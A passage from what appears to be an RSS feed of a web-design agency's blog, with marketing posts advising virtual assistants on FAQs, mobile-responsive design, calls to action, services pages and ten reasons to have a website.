  • Decreases incoming questions that to you seem repetitive or basic.

Let’s talk about the benefits that FAQ’s provide:

  • Helps you to let customers know their needs
  • Shows your expertise
  • Helps customers to better understand what your business does.
  • Actually will boost your Search Engine Optimization

Some people may have a misconception of what working with a VA is like.  Providing a list of FAQs solves that problem!

FAQs help to remove any confusion or uncertainty that potential clients may have about working with you. By answering questions such as, “what is it like to work with you?” and “how do I know if I’m ready to work with a VA?” upfront, your potential clients will already start to feel more comfortable with the idea of working with you.

9 – Website need to be Responsive and designed for mobile optimization

Let’s start with understanding what that means.  A website that is responsive is basically one that adapts to have your website look good no matter what size device.  In other words, everything is scaled and “optimized” to look good whether you are viewing it on your desktop, laptop, tablet or other mobile device.

So, one thing you want to do when you build your site (or have The Social Media Dudes create your site [shameless plugJ]) is to insure it is responsive by testing it out on different devices.  

More importantly, you don’t want to do everything right on your site by including everything above only to have Google punish you because your site isn’t mobile friendly.

10 – Call To Action (CTAs)

Sometimes, people need to be told what to do.  It may be the result of not knowing what the next step is, it may not be clear how to proceed, or just need to be guided.  If your pages don’t contain some sort of Call to Action (CTA), then you are likely missing potential sales

A CTA isn’t always about closing the deal.  It may be trying to get them to subscribe to your email list (you do have an email list, don’t you?), perhaps you are wanting engagement by having the visitor leave a comment or perhaps to set up a quick consulting call so you can understand the prospects needs before you prescribe a solution (you).

Call to action (s) are a key feature to any website. Every page and blog post on your VA website should have at least one CTA.

Your takeaway…

Whether you are just starting out or your VA business has been up and running for a while, our VA website is an essential part of your business.  Work on implementing these essential tips on your website to insure you make a great impression!

Do you still have questions or are overwhelmed? Reach out to the Social Media Dudes by scheduling a free 20 minute consultation to discuss your current site or plan on a new site to invigorate your VA business.

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]]> Top 5 Things Your Services Page Should Contain! https://socialmediadudes.com/top-5-things-your-services-page-should-contain/?utm_source=rss&utm_medium=rss&utm_campaign=top-5-things-your-services-page-should-contain Sat, 15 Aug 2020 18:27:00 +0000 https://socialmediadudes.com/?p=905 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false”][et_pb_row _builder_version=”3.25″ background_size=”initial” background_position=”top_left” background_repeat=”repeat”][et_pb_column type=”4_4″ _builder_version=”3.25″ custom_padding=”|||” custom_padding__hover=”|||”][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ link_font_size=”18px” background_size=”initial” background_position=”top_left” background_repeat=”repeat” hover_enabled=”0″] People […]

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People tend to spend a lot of time on their “About” page.  And while there is something to the know/like/trust factor of gaining customers, the page on your site that will make you money and elevate your business from your competition is your Services page.

Your Services page is usually one of the most viewed pages of your website, so you want to do everything you can to have it stand out. Because the right layout and content can potentially lead to more sales.

We have all come to the understanding that our blog posts should be geared to our ICA (Ideal Customer Avatar) to effectively grab our audience. Your Services page should be considered in the same light.  The more you tailor your Services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that will want to work with you.

Here’s how to format your website’s services page to attract more clients!

Top 5 Tips for Creating a Service Page

Capture their attention; lead with your services!

In some regards, this could be considered “qualifying your audience”.  As such, lead with a brief overview of the services you offer.  You can then provide a more detailed description of your services a little further down the page.

Set yourself apart from your competition by letting your prospective clients know the benefits your service offerings will provide to your ICA. To gain a competitive edge, you should also highlight the benefits prospective clients can experience after using your company’s services. Appeal directly to your ideal client by addressing their problems or pain points and how your services can solve them.

Relate your services to your ICA

This was mentioned earlier, but can’t be overstated.  Tell how your product/service can benefit your ICA.  Doing just this can dramatically increase your conversions!  Cement the thoughts/relationship further by being able to detail you have helped specific (ICA) clients previously.  (If they aren’t willing to give a testimonial, then ask their permission to reference them.

Include a section titled “This is for you if…” so your website visitors can quickly skim the content and see if your services are suitable for their particular needs.

CLICK TO TWEET!  Want to know the Top 5 Tips For Creating a Service Page That Converts!

Testimonials pay untold dividends

Don’t forget to make good use of all of those great testimonials you have received on your Services page.  It provides prospects a very good understanding of what they can expect as your customer. Your past clients can really do a good bit of the heavy lifting here if you have done a great job of providing value to them on previous engagements.  While people gravitate to video testimonials, even little snippets pulled from emails can be the nudge that turns a prospect into a customer.  In other words..past success stories are a good indicator of future sales :).  Testimonials deliver on the know/like/trust factor with prospective customers!

Cut to the chase: Post your prices!

I know there are different thoughts on this.  But in my experience, you lose more business by not having prices than posting them.  Why?  Because when I didn’t post pricing, people who went elsewhere only did so because they thought I was too expensive.  Their logic was, looking at your content and site and social media presence, we didn’t think we could afford you.

To me, it just saves time.  I try to let my content/testimonials to the selling so to speak.  If I get on the phone with them, I am not trying to convince them of the value I can provide.  It is more about how am I going to execute.  So, if someone sees my price and is put off for some reason (maybe too expensive, but I have also had folks said I didn’t charge enough and weren’t confident of my skill set. (Turns out, a lot came back after the fact and were pleasantly surprised).  Either way, that is one less phone call.  I know my ICA, what their pain challenges are, as well as the target price point.  As such, I am hitting the mark more often than not J

If you are still looking for a reason to post your prices, some potential customers will leave a website if they can’t find pricing information, so make it easy and include it!  If you are hesitant to list a specific price, I get that.  In that case, provide a range and indicate it will be a matter of what services they decide they want.

A must have: a Call to Action (CTA)

There really isn’t any need to do all of the above and then forget the most important part of your services page:  a Call To Action (aka CTA)  I mean you have told your ICA about the services that would most likely help them and how they could be like previous customers and benefit as a result of doing business with you.

What you need to readily provide now is What is the next step?   This is not the time or the place to beat around the bush on this.  Provide an opportunity to have prospects take the next logical course of events.

How would that look?  Easier than you think, but many Service pages don’t address this.  For example, you can place a button or link that invites them to:

  • Get a quote
  • Contact us now
  • Click here for your free 20 minute consultation

If you want your clients to work with you, make it easy for them to do so!

Your takeaway…

Your Services page on your website provides the best opportunity to hone in on your ICA and make them a customer.  Demonstrate that you know their pains and the challenges they face by showing them how your services directly hit home in a positive manner.  The more you understand and can customize your offerings to your target niche, the more successful you will be in gaining new customers.  And if you know your customers intimately, your pricing displayed on your website will actually benefit you long term and have the right customers approach you for your service.  Solidify the confidence of your ICA that you are more than up for the job by providing great testimonials on your Services page.

The more you tailor your services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that you want to work with.

Are you ready to take the next step with your website and need help?

Let’s talk about your situation and/or digital media needs.  Contact us for a no obligation 20 minute consultation!

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]]> 10 Reasons Why Virtual Assistants Need A Website! https://socialmediadudes.com/10-reasons-why-virtual-assistants-need-a-website/?utm_source=rss&utm_medium=rss&utm_campaign=10-reasons-why-virtual-assistants-need-a-website Sun, 17 May 2020 11:48:56 +0000 https://socialmediadudes.com/?p=698 The post 10 Reasons Why Virtual Assistants Need A Website! appeared first on Social Media Dudes.

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A good website, homepage, or website for business – whatever you want to call it – is a cornerstone of digital marketing. However, good is a relative concept. Before we define what a good website is for a virtual assistant, let’s clarify this: good in this context doesn’t just mean that the site looks great or that it’s technically implemented using the latest technologies. Instead, websites for the company that supports the company’s own goals and businesses are at the heart of website design. Such websites do at least the following three things very well.

  • They are found by the right kind of people (for example, potential customers)
  • These people will find what they are looking for on the site (for example, their services)
  • These visitors perform the action you want on the site

A good website is created from these three blanks. So they need the right kind of traffic, that is, the right kind of visitors. These visitors need to find the right things they’re looking for on your site and be so confident in what you’re offering that they decide to act inspired by the content of your website. Like all marketing, a good website requires knowing your customers.

Website in the virtual assistant business

True, technology has developed at a tremendous pace and its slowdown is not in sight. When talking about firms’ websites or services, it is good to note that their appreciation has increased with the changes, and today they are seen as an increasingly important part of the overall business. As a result, the business objectives, needs, and benefits themselves, as well as the repayment of possible development investment, are increasingly being addressed in the conception phase today. So where should you start to get the best possible modern business support pages that pay for themselves?

The first step is to refine the basic idea of ​​your business like virtual assistants provide services. What we do and how, who, and where our customers are, who are our competitors and how we stand out from them, and what are our strengths and weaknesses. After that, it makes sense to consider how important online business is seen as part of your core business and whether there are clear similarities and mutually supportive opportunities between these areas. Could the number of leads be increased by introducing expert blogging or addictive customer references? Would we be able to grow our customer base through free trials or by adding an email list based on offers? Could we improve our services by adding a real-time chat window or user-based discussion forum?

Here are the top ten reasons that indicate the need for a website for virtual assistants.

1. A website makes you professional!

In this era of the internet where everything from clothes to money exchanges is performed online, a website builds up the credibility of a Virtual Assistant as a professional. Employers will expect the work based on their website. An official website can also be considered as an online company address. It is where other people, associates, and clients can find their required assistance and get in contact easily. It also makes an e-mail more valid and credible. Websites convey their own distinct online originality.

The website helps virtual assistants in marketing which is used to connect and inform the clients. It plays a remarkable role as the center for all other methods of communication. It can be made into a place for all the promotions, public associations, and social outlets. It can act like a major place where the VA has the ability to control the messages. Whether you use Facebook, Twitter, LinkedIn, Instagram, or publish press releases, you should be focusing the campaigns on your website.

The online presence of a website enables you to accurately express yourself as a whole: the information, identity, visions, and responsibility. To avoid the visitor’s disinterest and vague confidence, the website must be attractive and impressive. Furthermore, maintaining good quality, easy-to-use websites makes clients feel pleased using your assistance, as they will believe that they can anticipate the same encouraging experience in all areas of your profession.

2. Your website can attract new customers through Google:

Google is a great way to get new clients. Not only does it make it easier for customers to discover you physically, but digitally too. The Website can extensively increase search visibility on Google. Eventually, what a virtual assistant need is a place where the customer visits, not just to inspect the pricing of services, but also to begin a relationship based on what they notice, discover, learn and understand when exploring the website.

To rank your virtual assistant business higher, you need to make sure your website is search engine optimized. High quality and trustworthy websites rank higher on a search engine. When you rank higher on a search engine, your website gains more traffic and ultimately you get more customers. As you complete more orders on your website, you will get more reviews which will get you a higher rank on Google.

3. You can showcase your services:

Numerous sources have verified that approximately 4.54 billion people use the internet on a daily basis. That gives virtual assistants an opportunity to deliver the services to more than half of the world’s total humankind. Individually, a person consumes an average of six hours a day on the network, giving rise to a bigger platform than any print or broadcast outlet. The internet is for 24/7 which enhances your assistance beyond job hours, and hence the website also remains open and active.

Catching up with potential customers is possible through a network of never-ending connections. The perfect business website is the one that starts generating income anywhere and anytime. It is the best way to inform and notify about your ongoing services and soon-to-be-launched products. Advertising and marketing through a website always fulfilled its purpose.

While still prominent these days’ traditional techniques cost more fortune and cover less ground. They are also not quite endurable; posters, press releases, print ads, and flyers mostly end up in the waste and garbage.

Traditional forms of marketing mean wasting useful scarce resources, money, and time. Whereas online dealing is quicker, more profitable, and economical. There are several methods and strategies that virtual assistants can utilize for online advertising but without a website, these techniques will fall missing bad. The online marketing actions will generate an inbound outlet to a specified objective which is your website.

4 . You can exhibit your best testimonials and reviews prominently on your website:

Many people underestimate the ability of social impact by retaining their client appreciations offline. But feedback from your prospects prominently displayed on the website can make a huge distinction. It is not that it will be the only factor in determining whether a client buys your services or not, but if they are on the edge and in the doldrums of making a decision, it could be the component that urges them over the fence to sign up for your assistance. It is quite good to put up testimonials all over the website.

Appreciations and acknowledgment on the home page and landing pages are a considerable means to greet new prospects to your site and terminate any uneasiness they might possess about your assistance. The good reviews and testimonials can facilitate in convincing people to at least consider doing business with you. Meanwhile, good appreciation posts on sites can tell more about what services you are to give from a list of many contenders.

5. A website can inspire customers to interact with you:

If done suitably, a website can act as an online salesperson conveying everything, you as a virtual assistant have to offer to the employers. If you are already working for someone, you can use your website to ease your job and duty by maintaining a dependable directory. According to an analysis performed by Google, probable clients have already made up their mind 57% before they actually contact the agent. It means that they have already asked colleagues, done online exploration, and looked at your website as their first interaction. If you do not operate a website it is highly probable that your opponent will do, this suggests that you are neglecting to reach new clients and do not exist at the forefront of their decisions. It is necessary that no chances are lost, only increased by the competition.

Websites deliver a simpler way to deal with customer service. Offering replies to regularly asked questions in a FAQ (Frequently Asked Questions) segment, you can decrease the service expenses and preserve your time and money, as well as giving much more knowledge and information. This also suggests that clients can get a response quickly and maintain the value of time, which enables them to promote optimistic customer associations in the long run. This could also become an advantage for Virtual Assistant, all positive acknowledgment and appreciation can be uploaded into a testimonial, which will definitely attract new customers.

6. You can integrate your website with Social media sites so people can find you more easily:

Cell phones are now the gadget of preference for the majority of people who scour for information online. It is vital for the profession of virtual assistant that the website is compatible with mobile phones. If the website is uneasy to use or, worse, not even available on mobile devices, you have the probability to miss more than half of your prospective clients.  Professional web developers recognize and understand the power of mobile space, and these days always guarantee that the sites they create are responsive to smart gadgets and tablet devices.

Sometimes managing different social media sites for virtual assistant services can become tiring and time-consuming. That time can easily be used on other income-generating assignments. This is where a virtual assistant’s website comes in handy and all the social avenues can be integrated into one platform. It can help in planning and scheduling your social media marketing on any site. It helps you in developing and expanding the network. With the advancement of the Internet, the prominence of social media, and the influence of mobile devices, the website has evolved into an important tool to promote the business.

7. Your website creates your place in the business:

Maintaining a website for your business or institution is an essential component of your work strategy. Even if you are a virtual assistant, your website is the impression that people have of your services and assistance. A dominant and beneficial site will help to leave the client with a positive opinion. A poor strategy is equivalent to no strategy and may have a bad effect. That is why it is crucial to be intentional and calculated about this since your website is a considerable factor of your name.

If you have a nonprofessional website or worse, no website, then you are putting out people with a notion that you perhaps do not expect. By contrast, a powerful web existence can maintain your impression as a valid and rightful source of assistance, expertise, creativity, and services. Besides, you can get a business email with your website domain name that will make you appear more professional.

8. A website is no longer daunting to create and manage:

Once, in the early days of Internet website building was the most expensive and difficult task to do. Thanks to many tutorials and web developers, it is not costly or difficult anymore. You do not need to worry about the programming and the setup of the website. Outsourcing is the most common way to create a website for small business owners. You can establish a good quality website for a virtual assistant in just a couple of days.

Websites work best with visual content and attractive text. The visitor of the website is very much inspired by the excellence and quality of the photography, and the story they examine about you, so getting on with poor stock images or revising obsolete content that is not searching engine friendly is not an ordinary error a virtual assistant makes. However, you do not need to do all that work yourself, as there are many online agencies who offer to do all this work for you at a low cost.

9. A website confirms your success over the long term:

A proper website is a tool for multiple endeavors. As time progresses, you can evolve the website by putting in a few more simple features to help the clients, stakeholders, and employees. For instance, rather than consuming time or money faxing and emailing reports to your clients, have them accessible to view on your website and refer people to them when needed. Moreover, adding something like a FAQ section to the site can also be a considerable time saver and informative opportunity for people who are nonetheless making an effort to understand your performance, service, or assistance.

If you believe it is time to begin concentrating on composing your online existence and establishing relationships, perhaps it is time to get an understanding of how a virtual assistant can bring about that long term success with a website.

10. You can get all of these benefits without spending a bunch of cash:

The most important advantage of a website is that it does not amount to a lot, to put up. For a satisfactory price, your services as a virtual assistant will get better online attention and engagement. A storefront or an individual salesperson can attend to several customers, whereas a website can assist thousands, if not millions of public at a period. This facilitates you to share the message with everyone, whenever they wish to give attention to it, at a time that is suitable for them. If you have information that you wish to share, a website is one of the best, inexpensive and effective platforms available.

A website for a virtual assistant is not very expensive to build as it does not require a complex structure. You do not need to be a web designer to set up your virtual assistant website. Gone are the days when you needed to know HTML and other programming languages to set up your website. There are many online agencies that offer one-stop services to set up a website at a minimal price. And if you do not want to pay for an agency to set up your virtual assistant website, a few YouTube tutorials can enable you to set up your own website. In that case, the only money you need to spend is to buy a domain name for your website and a hosting plan.

Who is the website for?

The last, but by no means the least, thing about website creation is that they serve all target users equally. When creating a website, you should keep in mind how you will keep the visitors on your website engaged. A good virtual assistant website seeks to grab the attention of the target visitors by offering them solutions to their problems. So remember at the very beginning of the site creation, to take into account at least the role of the following target groups.

Existing customers

An existing customer base is very important for all. This target group brings in the lion’s share of turnover, and it goes without saying that they must then be able to be taken into account and kept satisfied, at least satisfactorily. On the other hand, even if your service is a one-time service, customers who have made a purchase can still have a positive impact on the result you make. So give them an easy opportunity to share positive news about your business on social media (reviews, share buttons, etc.).

New customers

The information provided to new potential customers is slightly different from that provided to existing customers (although an existing customer may also be a potential future customer, depending on the service packages offered).

In any case, potential customers include the target audience that is at some point acquiring the service you offer. Today, it is more than likely that before making a purchase decision, customers make an independent comparison between virtual assistants and ultimately choose the one that provides them with the best possible services as a whole. The information on the website that reflects customers’ potential problems and needs, as well as a clear purchasing path, are directly comparable to the personal services received by them.

Media

If a virtual assistant actively produces content of interest to the media, a completely separate topic area should also be found for this purpose. This is commonplace, as a similar section must exist for smooth media and stakeholder communication. It is also easy to add information about the services, newsletters, and other possible downloadable material under the media.

Conclusion

A website is a communicator of your business needs in the 21st century. Many years ago, websites were used only by educational institutions and government agencies for the purpose of mass information of the population. Nowadays, however, the internet is open to a much wider audience, with so many types of sites that it is difficult to differentiate them. The buyer wants the website not only information but also persuasiveness. Just as the buyer must be able to rely on the seller’s expertise and honest approach. Good customer service is proactive. It’s also nice that the website answers the visitor’s question, and he or she doesn’t have to fill out the “contact me if you have any questions” forms for just the basics.

As a virtual assistant, a static Contact page online is no longer enough. Customers want information, experiences, and service online. All virtual assistants today need mobile websites that can be accessed anywhere, anytime. As a VA, we need to be able to serve our customers constantly. A good website should always work properly which acts as a sales machine that works at any time of the day. Remember, the website acts as your business card online.

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